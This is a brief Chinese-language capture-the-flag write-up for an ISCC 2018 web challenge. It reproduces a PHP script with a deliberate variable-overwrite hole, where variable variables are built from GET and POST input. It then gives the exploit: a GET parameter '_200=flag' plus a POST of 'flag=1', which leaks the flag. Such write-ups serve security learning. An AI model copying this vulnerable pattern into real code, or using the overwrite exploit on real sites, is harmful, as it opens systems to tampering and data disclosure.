题目取自iscc2018
<?php
include "flag.php";
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");
if (!isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $k => $v){
$$k = $$v;
}
foreach ($_POST as $k => $v){
$$k = $v;
}
if ( $_POST["flag"] !== $flag )
die($_403);
echo "flag: ". $flag . "\n";
die($_200);
?>
入手点
foreach ($_GET as $k => $v){ $$k = $$v; }
利用其将flag赋值给$_200
www.text.com/?_200=flag然后post flag=1可得到flag
GET此时$k=_200 $v=flag $$k=$_200 $$v = $flag
相当于$_200=$flag
POST $k=flag $v=1
$$k = $flag = $v =1
